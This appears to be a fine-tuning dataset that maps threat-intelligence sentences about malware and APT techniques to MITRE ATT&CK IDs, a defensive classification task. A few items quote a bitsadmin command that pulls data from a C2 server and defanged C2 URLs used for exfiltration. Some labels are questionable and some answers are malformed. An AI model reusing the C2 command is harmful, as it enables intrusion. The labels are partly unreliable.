                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL can search files on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has distributed Machete through a fake blog website."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OsInfo function in  collects a running process list."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia obfuscates the configuration with a custom Base64 and XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PinchDuke transfers files from the compromised host via HTTP or HTTPS to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses VNC to connect into systems."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can launch cmd.exe to execute commands on the system."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT monitored running processes for instances of \"MsBuild.exe\" by hashing the name of each running process and comparing it to the corresponding value \"0x53D525\". It also extracted command-line arguments and individual arguments from the running \"MsBuild.exe\" process to identify the directory path of the Orion software Visual Studio solution."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has detected security tools."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The image and table below illustrate TClient’s encrypted configuration that we decrypted (via Python code):  Figure 10"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can be installed via DLL side-loading."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has installed a systemd service script to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: SysV/Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has distributed targeted emails containing Word documents with embedded malicious macros."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can perform DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy has a command to launch a file browser or explorer on the system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can inject files into running processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the payload determines it is not running in a sandbox, it will attempt to install itself to the system to persistently execute"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used tools to take screenshots from victims."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete captures audio from the computer’s microphone."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant uses a C2 mechanism similar to port knocking that allows attackers to connect to a victim without leaving the connection open for more than a few sectonds."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can identify network adjacent and accessible drives."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 used the command prompt to launch commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use PowerShell to download and execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool runs the following list of WMI queries:  wmic logicaldisk get Caption, Description,VolumeSerialNumber,Size,FreeSpace wmic diskdrive get Model, SerialNumber wmic computersystem get Manufacturer, Model, Name, SystemTypec wmic os get Caption, OSArchitecture, OSLanguage,SystemDrive,MUILanguages wmic process get Caption,ExecutablePath  The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://145.249.105[.]165/resource-store/stockroom-center-service/check.php?fm=[serial number] The C# variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows: spp=[system information from WMI queries] &spvg=[screenshot in JPEG format] Conclusion The Sofacy group continues their attacks on organizations across the globe using similar tactics and techniques"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1057 - Process Discovery', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download remote files and additional payloads to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has registered itself as a scheduled task to run each time the current user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has placed a plist file within the \"LaunchDaemons\" folder and launched it manually."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The main CozyCar dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once decrypted, the backdoor takes a fingerprint of the system. It sends home various data, such as the computer and user names and the operating system version, before waiting for commands to carry out its main mission"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in  collects information from the victim about Windows OS version, computer name, battery info, and physical memory."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses multiple techniques to obfuscate strings, including XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton captures the content of the desktop with the screencapture binary."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM predominantly uses widely available tools. In certain instances, GALLIUM has modified these tools to add additional functionality. However, it’s likely these modifications have been made to subvert antimalware solutions since much of the malware and tooling employed by GALLIUM is historic and is widely detected by security products. For example, QuarkBandit is a modified version of the widely used Gh0st RAT, an openly available remote access tool (RAT). Similarly, GALLIUM has made use of a modified version of the widely available Poison Ivy RAT. These RATs and the China Chopper web shell form the basis of GALLIUM’s toolkit for maintaining access to a victim network"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to remove Registry entries that it created during execution."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate and search for files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare can upload files and information from a compromised host to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has communicated with its C2 servers via HTTPS protocol."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the macro collected all the information, it sends the data to the C2 server over an HTTP POST request"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon has searched for specific files prior to encryption."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used VBScript to execute commands and other operational tasks."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower has the ability to encode C2 communications with base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses variations of a simple XOR encryption routine for C&C communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MirageFox has the capability to execute commands using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can use cmd.exe to help execute commands on the system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has downloaded tools to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke has has used HTTP GET requests in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has the ability to upload exfiltrated files to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has delayed execution using a built-in function to avoid detection and analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can search for specific strings within browser tabs using a Dynamic Data Exchange mechanism."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif droppers have used COM properties to execute malware in hidden windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 modified the Registry to hide create user accounts."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER used spearphishing emails with malicious Microsoft Word attachments to infect victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used a web shell to exfiltrate a ZIP file containing a dump of LSASS memory on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This script relays commands and output between the controller and the system"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SOUNDBITE communicates via DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BOOTRASH has used unallocated disk space between partitions for a hidden file system that stores components of the Nemesis bootkit."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:    ID Thread description   1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility   2 Decrypts command from registry using RC4 with a hardcoded key, and executes it   3 Transfers screenshots from the clipboard to \\Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)   4 Transfers screenshots to \\Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies   5 Checks network connection, encrypts and sends gathered logs   6 Unhooks mouse and keyboard, removes bitsadmin task   7 Checks if malware’s working directory size already exceeds its threshold   8 Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads    The malware uses the following command to receive data from its C2:       bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file>http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>     Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora can use DLL side-loading to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle can save its configuration data as the following RC4-encrypted Registry key: `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GameCon`."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each web shell instance is configured to contain SP, Key, and Log variables"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to retrieve metadata for files on disk as well as a command to list the current working directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has collected system information, including the machine name and OS version."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 5 shows Phishery’s output to the command that injects a URL into a file named “good_test.docx”, which it will save the resulting file to “bad_test.docx”"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can collect information on user sessions."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal’ is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins we’ve ever seen for an APT toolset"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can steal the victim's cookies to use for duplicating the active session from another device."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used mshta.exe to run malicious scripts on the system."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The .iqy files take advantage of Excel’s willingness to download and include the contents from a remote server in a spreadsheet"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has exploited Microsoft Office vulnerability CVE-2017-11882."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
